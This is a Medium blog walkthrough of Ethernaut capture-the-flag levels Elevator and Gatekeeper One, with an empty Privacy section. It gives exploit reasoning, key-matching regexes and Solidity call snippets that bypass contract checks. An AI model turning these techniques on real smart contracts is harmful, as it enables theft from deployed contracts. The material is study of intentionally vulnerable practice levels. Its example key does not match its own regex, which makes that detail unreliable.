Ethernaut walkthrough [#4]

Level 11 — Elevator

  1. You want the right-hand side (RHS) expression on this line to evaluate to true:
    top = building.isLastFloor(floor); // MUST be true
  2. To reach that line, you want the if-statement condition to evaluate to true:
    if (!building.isLastFloor(floor)) // MUST be true
  3. To reach that line, you have to send the transaction from a contract that implements the Building interface, hence defines the isLastFloor function as declared here:
    function isLastFloor(uint) external returns (bool);

Level 12 — Privacy

Level 13 — Gatekeeper One

uint32(uint64(_gateKey)) == uint16(tx.origin)
  • RHS first: uint16(tx.origin) is simply the 4 last digits of your address
  • LHS: uint32(...) regardless of what’s inside the parenthesis, the equality check compares an uint32 and uint16 variable. In order for those two to be true, the bigger variable should be equal to the smaller one and the remaining characters to be padded with 0s: 00008888 == 8888 // true . The uint64 doesn’t really bother us in this case, since the higher order bits will be cut out.
^[0-9a-fA-F]{8}0000[d|D]571$ // XXXXXXXX0000d571 - X is any hexadecimal
uint32(uint64(_gateKey)) != uint64(_gateKey)
^1[0-9a-fA-F]{7}0000[d|D]571$ // XXXXXXXX0000d571 - X is any hexadecimal
0x100000000000ddc4
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _gateKey);
(bool success,) = gatekeeperOneAddress.call(payload);
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _gateKey);
(bool success,) = gatekeeperOneAddress.call{ gas: 409804 }(payload);

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store